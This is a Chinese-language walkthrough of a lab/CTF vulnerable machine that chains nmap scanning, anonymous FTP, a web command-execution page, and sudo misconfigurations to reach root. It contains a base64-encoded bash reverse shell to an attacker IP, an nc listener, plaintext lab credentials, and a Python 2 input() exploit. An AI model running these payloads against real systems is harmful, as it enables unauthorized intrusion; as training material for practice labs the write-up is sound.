渗透思路:
nmap扫描----匿名登录ftp----gobuster扫描网站目录----利用RCE getshell(payload需要base64编码)----寻找敏感信息切换到用户nitish----sudo切换到sam(善用man命令)----sudo提权到root(使用uncompyle6反编译.pyc)
环境信息:
靶机:192.168.101.67
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.68
sudo nmap -sV -sC -p- 192.168.101.68
扫描到21(ftp)、22(ssh)、1337、7331(http)端口
2、匿名登录ftp下载文件
登录ftp,用户名和密码都是anonymous
ftp 192.168.101.68
下载文件
ftp> get creds.txt ftp> get game.txt ftp> get message.txt
在攻击机上打开下载好的文件,内容分别如下
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
3、gobuster扫描
用gobuster扫描7331端口网站目录
gobuster dir -u http://192.168.101.68:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt
扫描到/wish和/genie
4、利用远程命令执行getshell(base64)
浏览器访问http://192.168.101.68:7331/wish,发现可以执行系统命令
比如在输入框中输入whoami
提交之后跳转到http://192.168.101.68:7331/genie?name=www-data%0A,虽然页面看起来没有显示命令执行结果,但其实url参数值已经包含了whoami的执行结果www-data
可以利用这个命令执行功能获得反弹shell
经尝试,这边bash反弹shell需要base64编码,具体方式如下:
先在攻击机上输入
echo "bash -i &>/dev/tcp/192.168.101.34/8888 <&1" | base64
得到bash -i &>/dev/tcp/192.168.101.34/8888 <&1的base64编码
再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==进行base64解码之后再执行
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg== | base64 -d | bash
攻击机上nc监听8888端口
nc -nlvp 8888
http://192.168.101.68:7331/wish页面Execute框输入payload:
echo "YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==" | base64 -d | bash
攻击机上得到靶机www-data用户的反弹shell
5、切换到用户nitish
进入到/home目录,发现有两个用户nitish和sam
探索nitish用户的家目录,在/home/nitish/.dev/目录下找到creds.txt,其内容看上去是nitish的用户名和密码
nitish:p4ssw0rdStr3r0n9
使用nitish用户进行ssh登录,密码是p4ssw0rdStr3r0n9,登录成功
ssh nitish@192.168.101.68
6、sudo切换到用户sam(善用man)
nitish的shell下输入
sudo -l
发现可以以sam用户身份执行/usr/bin/genie
尝试以sam用户身份执行/usr/bin/genie,命令行输出了使用方法提示
sudo -u sam genie
根据使用方法提示执行/usr/bin/genie,结果命令行一直是下图这样的回显
sudo -u sam /usr/bin/genie -g -e /bin/bash wish
用strings命令查看/usr/bin/genie中的可读字符串,发现genie.py
strings /usr/bin/genie
查找一下genie.py在哪儿,也许可以通过阅读源代码发现什么。
whereis genie.py
很可惜没找到genie.py,但是发现genie似乎有man文件
用man命令查看genie的详细信息
man genie
发现有一个参数命令行提示没有提及,-cmd
以sam身份执行genie的时候加上-cmd参数,不过参数后面还要再加一个随便什么字符串作为参数值
sudo -u sam genie -cmd a
得到sam的shell
7、sudo提权到root(.pyc反编译)
在sam的shell下执行
sudo -l
发现可以以root的身份执行/root/lago
尝试以root身份执行/root/lago
sudo /root/lago
发现有4个选项,选择每个选项后的反馈是下图这样。一开始以为有用的选项是3,也就是读文件,但连/etc/passwd这个文件root都没有权限读?这也太骗人了吧
摸索一圈之后,在/home/sam下看到了.pyc
查看该文件中的可读字符串
strings .pyc
可以明显看出来该文件和/root/lago应该是实现相同功能的
把.pyc拷贝到攻击机上分析
靶机上起http
python2.7 -m SimpleHTTPServer 8080
攻击机上wget下载.pyc文件
wget http://192.168.101.68:8080/.pyc
使用uncompyle6反编译.pyc
uncompyle6 -o lago.py .pyc
lago.py的内容如下
# uncompyle6 version 3.8.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.9.8 (main, Nov 7 2021, 15:47:09)
# [GCC 11.2.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 08:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
阅读代码可以发现,确实只有'2 - Guess the number'有突破口,满足if s == num就可以得到shell。
仔细观察guessit()函数定义,发现在进行if s == num判断之前并没有对输入进行过滤和转义。而在python中,虽然input()函数接收命令行的数字输入时会将其自动识别为数字,但当其接收字符串输入时,必须将字符串框在引号中才能被其识别为字符串,否则当作变量处理。可以做简单的测试:
也就是说,只要在命令行输入num,if语句就变成了if num=num,就是真,就会触发system('/bin/sh')执行,从而获得shell。
可以先在攻击机上简单测试:
靶机上执行
sudo /root/lago
选择2,然后输入num,即可得到root的shell
/root/目录下有个proof.sh,执行后得到flag



